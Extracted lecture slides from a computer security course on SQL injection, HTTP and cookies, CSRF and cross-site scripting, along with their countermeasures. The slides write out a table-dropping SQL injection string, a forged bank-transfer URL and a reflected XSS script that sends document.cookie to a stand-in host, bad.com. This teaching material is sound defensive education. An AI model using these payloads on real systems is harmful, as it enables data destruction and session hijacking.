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A very basic web architecture

Browser Web server

Database

Client Server

(Private) 
Data

DB is a separate entity,
logically (and often physically)



SQL security



Databases
• Provide data storage & data manipulation 

• Database designer lays out the data into tables 

• Programmers query the database 

• Database Management Systems (DBMSes) provide 
• semantics for how to organize data 
• transactions for manipulating data sanely 
• a language for creating & querying data 

- and APIs to interoperate with other languages 
• management via users & permissions
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Database transactions
Transactions are the unit of work on a database

“Deduct $100 from Alice; Add $100 to Bob”

“Give me everyone in the User table who is  
listed as taking CMSC414 in the Classes table”

1 transaction
2 reads

2 writes



Database transactions

• Typically want ACID transactions 
• Atomicity: Transactions complete entirely or not at all 
• Consistency: The database is always in a valid state 

(but not necessarily correct) 
• Isolation: Results from a transaction aren’t visible 

until it is complete 
• Durability: Once a transaction is committed, it 

remains, despite, e.g., power failures

Transactions are the unit of work on a database

“Deduct $100 from Alice; Add $100 to Bob”

“Give me everyone in the User table who is  
listed as taking CMSC414 in the Classes table”

1 transaction
2 reads

2 writes
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Server-side code

$result = mysql_query(“select * from Users
       where(name=‘$user’ and password=‘$pass’);”);

Website

“Login code” (php)

Suppose you successfully log in as $user  
if this query returns any rows whatsoever

How could you exploit this?
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SQL injection

$result = mysql_query(“select * from Users
       where(name=‘$user’ and password=‘$pass’);”);

frank’ OR 1=1); DROP TABLE Users; -- 

$result = mysql_query(“select * from Users
       where(name=‘frank’ OR 1=1);
       DROP TABLE Users; --

‘ and password=‘whocares’);”);

Can chain together statements with semicolon: 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SQL injection countermeasures
• Blacklisting: Delete the characters you don’t want 

• ’ 
• -- 
• ; 

• Downside: “Peter O’Connor” 
• You want these characters sometimes! 
• How do you know if/when the characters are bad?



SQL injection countermeasures

• Check that the user-provided input is in some set of 
values known to be safe 
• Integer within the right range 

• Given an invalid input, better to reject than to fix 
• “Fixes” may introduce vulnerabilities 
• Principle of fail-safe defaults 

• Downside: 
• Um.. Names come from a well-known dictionary?

1. Whitelisting



SQL injection countermeasures

• Escape characters that could alter control 
• ’ ⇒ \’ 
• ; ⇒ \; 
• - ⇒ \- 
• \ ⇒ \\ 

• Hard by hand, but there are many libs & methods 
• magic_quotes_gpc = On 
• mysql_real_escape_string() 

• Downside: Sometimes you want these in your SQL!

2. Escape characters



The underlying issue

• This one string combines the code and the data 

• Similar to buffer overflows:

$result = mysql_query(“select * from Users
       where(name=‘$user’ and password=‘$pass’);”);

When the boundary between code and data blurs,
we open ourselves up to vulnerabilities
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name $user
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password $pass
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SQL injection countermeasures

$result = mysql_query(“select * from Users
       where(name=‘$user’ and password=‘$pass’);”);

3. Prepared statements & bind variables
Key idea: Decouple the code and the data
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SQL injection countermeasures

$db = new mysql(“localhost”, “user”, “pass”, “DB”);

$statement = $db->prepare(“select * from Users
where(name=? and password=?);”);

$statement->bind_param(“ss”, $user, $pass);
$statement->execute();

$result = mysql_query(“select * from Users
       where(name=‘$user’ and password=‘$pass’);”);

Bind variables

Bind variables are typed

Decoupling lets us compile now, before binding the data

3. Prepared statements & bind variables
Key idea: Decouple the code and the data
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The underlying issue
$statement = $db->prepare(“select * from Users

where(name=? and password=?);”);

select / from / where

* Users and

=

name ?

=

password ?

Prepare is only applied
to the leaves, so the
structure of the tree
is fixed



Mitigating the impact
• Limit privileges 

• Can limit commands and/or tables a user can access 
- Allow SELECT queries on Orders_Table but not on 

Creditcards_Table 
• Follow the principle of least privilege 
• Incomplete fix, but helpful 

• Encrypt sensitive data stored in the database 
• May not need to encrypt Orders_Table 
• But certainly encrypt Creditcards_Table.cc_numbers



Web security
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A very basic web architecture

Browser Web server

Database

Client Server

(Private) 
Data

DB is a separate entity,
logically (and often physically)

(Much) user data is
part of the browser
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Protocol
ftp
https
tor
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Hostname/server
Translated to an IP address by DNS 
(more on this later)
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Interacting with web servers

http://www.cs.umd.edu/~dml/home.html

Get and put resources which are identified by a URL

Path to a resource

Here, the file home.html is static content 
i.e.,  a fixed file returned by the server

http://facebook.com/delete.php

Here, the file home.html is dynamic content 
i.e., the server generates the content on the fly

?f=joe123&w=16



Interacting with web servers

http://www.cs.umd.edu/~dml/home.html

Get and put resources which are identified by a URL

Path to a resource

Here, the file home.html is static content 
i.e.,  a fixed file returned by the server

http://facebook.com/delete.php

Here, the file home.html is dynamic content 
i.e., the server generates the content on the fly

?f=joe123&w=16

Arguments
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Basic structure of web traffic

Browser Web server

Client Server

• HyperText Transfer Protocol (HTTP) 
• An “application-layer” protocol for exchanging 

collections of data

HTTP
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Basic structure of web traffic

Browser Web server

Client Server

HTTP Request

User clicks

• Requests contain: 
• The URL of the resource the client wishes to obtain 
• Headers describing what the browser can do 

• Requests be GET or POST 
• GET: all data is in the URL itself (supposed to have no side-effects) 
• POST: includes the data as separate fields (can have side-effects)



HTTP GET requests
http://www.reddit.com/r/security
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HTTP GET requests
http://www.reddit.com/r/security

User-Agent is typically a browser 
but it can be wget, JDK, etc.

http://www.reddit.com/r/security






Referrer URL: the site from which 
this request was issued.
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Posting on Piazza
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HTTP POST requests
Posting on Piazza

Explicitly includes data as a part of the request’s content

Implicitly includes data 
as a part of the URL
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HTTP Response



Basic structure of web traffic

Browser Web server

Client Server

User clicks

• Responses contain: 
• Status code 
• Headers describing what the server provides 
• Data 
• Cookies 

• State it would like the browser to store on the site’s behalf

HTTP Response



<html> …… </html>

HTTP responses



<html> …… </html>

H
ea

de
rs

D
at

a
HTTP

version
Status
code

Reason
phrase

HTTP responses









HTTP is stateless
• The lifetime of an HTTP session is typically: 

• Client connects to the server 
• Client issues a request 
• Server responds 
• Client issues a request for something in the response 
• …. repeat …. 
• Client disconnects 

• HTTP has no means of noting “oh this is the same 
client from that previous session” 

• With this alone, you’d have to log in at every page load



Maintaining state across HTTP sessions

• Server processing results in intermediate state 

• Send the state to the client in hidden fields 

• Client returns the state in subsequent responses

Browser Web server

Client Server

HTTP Request
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• Send the state to the client in hidden fields 
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else
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The corresponding backend processing
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Minimizing trust in the client

<html>
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<body>
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<input type=“hidden” name=“price” value=“5.50”>
<input type=“submit” name=“pay” value=“yes”>
<input type=“submit” name=“pay” value=“no”>
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<input type=“hidden” name=“sid” value=“781234”>

What’s presented to the user
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if(pay == yes && price != NULL)
{

bill_creditcard(price);
deliver_socks();

}
else

display_transaction_cancelled_page();

The corresponding backend processing



Minimizing trust in the client

price = lookup(sid);
if(pay == yes && price != NULL)
{

bill_creditcard(price);
deliver_socks();

}
else

display_transaction_cancelled_page();

The corresponding backend processing

We don’t want to pass hidden fields around all the time
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Statefulness with Cookies

• Server stores state, indexes it with a cookie 

• Send this cookie to the client 

• Client stores the cookie and returns it with 
subsequent queries to that same server
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Client Server
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Cookie

Server
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Why use cookies?
• Personalization 

• Let an anonymous user customize your site 
• Store font choice, etc., in the cookie
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Why use cookies?
• Tracking users 

• Advertisers want to know your behavior 
• Ideally build a profile across different websites 

- Read about iPad on CNN, then see ads on Amazon?! 
• How can an advertiser (A) know what you did on another site (S)?

S shows you an ad from A; A scrapes the referrer URL

Option 1: A maintains a DB, 
indexed by your IP address Problem: IP addrs change

Option 2: A maintains a DB  
indexed by a cookie

- “Third-party cookie”
- Commonly used by large  

ad networks (doubleclick)





Ad provided by 
an ad network
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Cookies and web authentication
• An extremely common use of cookies is to 

track users who have already authenticated 

• If the user already visited 
http://website.com/login.html?user=alice&pass=secret 
with the correct password, then the server associates a 
“session cookie” with the logged-in user’s info 

• Subsequent requests (GET and POST) include the cookie 
in the request headers and/or as one of the fields: 
http://website.com/doStuff.html?sid=81asf98as8eak 

• The idea is for the server to be able to say “I am talking to 
the same browser that authenticated Alice earlier.”



Cookies and web authentication
• An extremely common use of cookies is to 

track users who have already authenticated 

• If the user already visited 
http://website.com/login.html?user=alice&pass=secret 
with the correct password, then the server associates a 
“session cookie” with the logged-in user’s info 

• Subsequent requests (GET and POST) include the cookie 
in the request headers and/or as one of the fields: 
http://website.com/doStuff.html?sid=81asf98as8eak 

• The idea is for the server to be able to say “I am talking to 
the same browser that authenticated Alice earlier.”

Attacks?



Cross-Site Request 
Forgery (CSRF)



URLs with side-effects

• GET requests should have no side-effects, but 
often do 

• What happens if the user is logged in with an active 
session cookie and visits this link? 

• How could you possibly get a user to visit this link?

http://bank.com/transfer.cgi?amt=9999&to=attacker

http://bank.com/transfer.cgi?amt=9999&to=attacker


Exploiting URLs with side-effects

Browser

Client attacker.com
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Cross-Site Request Forgery
• Target: User who has some sort of account on a vulnerable 

server where requests from the user’s browser to the server 
have a predictable structure 

• Attack goal: make requests to the server via the user’s 
browser that look to the server like the user intended to make 
them 

• Attacker tools: ability to get the user to visit a web page under 
the attacker’s control 

• Key tricks: 
• Requests to the web server have predictable structure 
• Use of something like <img src=…> to force the victim to send it



CSRF protections
• Client-side:
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CSRF protections
• Client-side:

Disallow one site to link to another?? 

The loss of functionality would be too high

Let’s consider server-side protections



Secret validation tokens
• Include a secret validation token in the request 

• Must be difficult for an attacker to predict 

• Options: 
• Random session ID 

- Stored as cookie (“session independent nonce”) 
- Stored at server (“session-dependent nonce”) 

• The session cookie itself (“session identifier”) 
http://website.com/doStuff.html?sid=81asf98as8eak 

• HMAC of the cookie 
- As unique as session cookie, but learning the HMAC doesn’t 

reveal the cookie itself



Referrer URLs
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referrer URL is from this site, as well 



Referrer URLs
Idea: Only allow certain actions if the  
referrer URL is from this site, as well 

Problem: Often suppressed



Custom headers
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Custom headers
Security through obscurity

Include precisely what is needed  
to identify the principal who referred

Origin headers: More private Referrer headers

http://foo.com/embarrassing.html?data=oops

Send only for POST requests
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How can you steal a session cookie?

• Compromise the user’s machine / browser 

• Sniff the network 

• DNS cache poisoning 
• Trick the user into thinking you are Facebook 
• The user will send you the cookie

Network-based attacks (more later)

Browser Web server

Client Server

Cookie State

Cookie

Cookie

Server

Cookie



Stealing users’ cookies

For now, we’ll assume this attack model:
• The user is visiting the site they expect 
• All interactions are strictly through the browser



Dynamic web pages
• Rather than static HTML, web pages can be 

expressed as a program, e.g., written in Javascript:

<html><body>

Hello, <b>

<script>
var a = 1;
var b = 2;
document.write(“world: “, a+b, “</b>”);

</script>

</body></html>



Javascript
• Powerful web page programming language 

• Scripts are embedded in web pages returned by 
the web server 

• Scripts are executed by the browser.  They can: 
• Alter page contents (DOM objects) 
• Track events (mouse clicks, motion, keystrokes) 
• Issue web requests & read replies 
• Maintain persistent connections (AJAX) 
• Read and set cookies

no relation 
to Java



What could go wrong?
• Browsers need to confine Javascript’s power 

• A script on attacker.com should not be able to: 
• Alter the layout of a bank.com web page 

• Read keystrokes typed by the user while on a 
bank.com web page  

• Read cookies belonging to bank.com



Same Origin Policy
• Browsers provide isolation for javascript scripts via 

the Same Origin Policy (SOP) 

• Browser associates web page elements… 
• Layout, cookies, events 

• …with a given origin 
• The hostname (bank.com) that provided the 

elements in the first place 

• SOP = only scripts received from a web page’s 
origin have access to the page’s elements

http://bank.com
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Cross-site scripting 
(XSS)



XSS: Subverting the SOP
• Attacker provides a malicious script 

• Tricks the user’s browser into believing that the 
script’s origin is bank.com

http://bank.com


XSS: Subverting the SOP
• Attacker provides a malicious script 

• Tricks the user’s browser into believing that the 
script’s origin is bank.com

• One general approach: 
• Trick the server of interest (bank.com) to actually 

send the attacker’s script to the user’s browser! 
• The browser will view the script as coming from the 

same origin… because it does!

http://bank.com
http://bank.com


Two types of XSS
1. Stored (or “persistent”) XSS attack 

• Attacker leaves their script on the bank.com server 
• The server later unwittingly sends it to your browser 
• Your browser, none the wiser, executes it within the 

same origin as the bank.com server 

2. Reflected XSS attack 
• Attacker gets you to send the bank.com server a URL 

that includes some Javascript code 
• bank.com echoes the script back to you in its response 
• Your browser, none the wiser, executes the script in the 

response within the same origin as bank.com
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Stored XSS Summary
• Target: User with Javascript-enabled browser who visits 

user-generated content page on a vulnerable web service 

• Attack goal: run script in user’s browser with the same 
access as provided to the server’s regular scripts (i.e., 
subvert the Same Origin Policy) 

• Attacker tools: ability to leave content on the web server 
(e.g., via an ordinary browser). Optional tool: a server for 
receiving stolen user information 

• Key trick: Server fails to ensure that content uploaded to 
page does not contain embedded scripts



Two types of XSS
1. Stored (or “persistent”) XSS attack 

• Attacker leaves their script on the bank.com server 
• The server later unwittingly sends it to your browser 
• Your browser, none the wiser, executes it within the 

same origin as the bank.com server 

2. Reflected XSS attack 
• Attacker gets you to send the bank.com server a URL 

that includes some Javascript code 
• bank.com echoes the script back to you in its response 
• Your browser, none the wiser, executes the script in the 

response within the same origin as bank.com

http://bank.com
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• The key to the reflected XSS attack is to find 

instances where a good web server will echo the 
user input back in the HTML response

http://victim.com/search.php?term=socks
Input from bad.com:



Echoed input
• The key to the reflected XSS attack is to find 

instances where a good web server will echo the 
user input back in the HTML response

http://victim.com/search.php?term=socks

<html> <title> Search results </title>
<body>
Results for socks :
. . .
</body></html>

Input from bad.com:

Result from victim.com:
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Exploiting echoed input
http://victim.com/search.php?term=  
   <script> window.open(
     “http://bad.com/steal?c=“  
     + document.cookie)  
   </script>

Input from bad.com:
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Exploiting echoed input
http://victim.com/search.php?term=  
   <script> window.open(
     “http://bad.com/steal?c=“  
     + document.cookie)  
   </script>

<html> <title> Search results </title>
<body>
Results for <script> ... </script> 
. . .
</body></html>

Input from bad.com:

Result from victim.com:

http://bad.com/steal?c=


Exploiting echoed input
http://victim.com/search.php?term=  
   <script> window.open(
     “http://bad.com/steal?c=“  
     + document.cookie)  
   </script>

<html> <title> Search results </title>
<body>
Results for <script> ... </script> 
. . .
</body></html>

Browser would execute this within victim.com’s origin

Input from bad.com:

Result from victim.com:

http://bad.com/steal?c=
http://victim.com


Reflected XSS Summary
• Target: User with Javascript-enabled browser who a 

vulnerable web service that includes parts of URLs it 
receives in the web page output it generates 

• Attack goal: run script in user’s browser with the same 
access as provided to the server’s regular scripts (i.e., 
subvert the Same Origin Policy) 

• Attacker tools: ability to get user to click on a specially-
crafted URL. Optional tool: a server for receiving stolen user 
information 

• Key trick: Server fails to ensure that the output it generates 
does not contain embedded scripts other than its own



XSS Protection
• Open Web Application Security Project (OWASP): 

• Whitelist: Validate all headers, cookies, query 
strings… everything.. against a rigorous spec of what 
should be allowed 

• Don’t blacklist: Do not attempt to filter/sanitize. 

• Principle of fail-safe defaults.



Mitigating cookie security threats
• Cookies must not be easy to guess 

• Randomly chosen 
• Sufficiently long 

• Time out session IDs and delete them once the 
session ends



Twitter vulnerability
• Uses one cookie (auth_token) to validate user 

• The cookie is a function of 
• User name 
• Password 

• auth_token weaknesses 
• Does not change from one login to the next 
• Does not become invalid when the user logs out 

• Steal this cookie once, and you can log in as the 
user any time you want (until password change)



XSS vs. CSRF
• Do not confuse the two: 

• XSS attacks exploit the trust a client browser has in 
data sent from the legitimate website 
• So the attacker tries to control what the website sends 

to the client browser 

• CSRF attacks exploit the trust the legitimate 
website has in data sent from the client browser 
• So the attacker tries to control what the client browser 

sends to the website


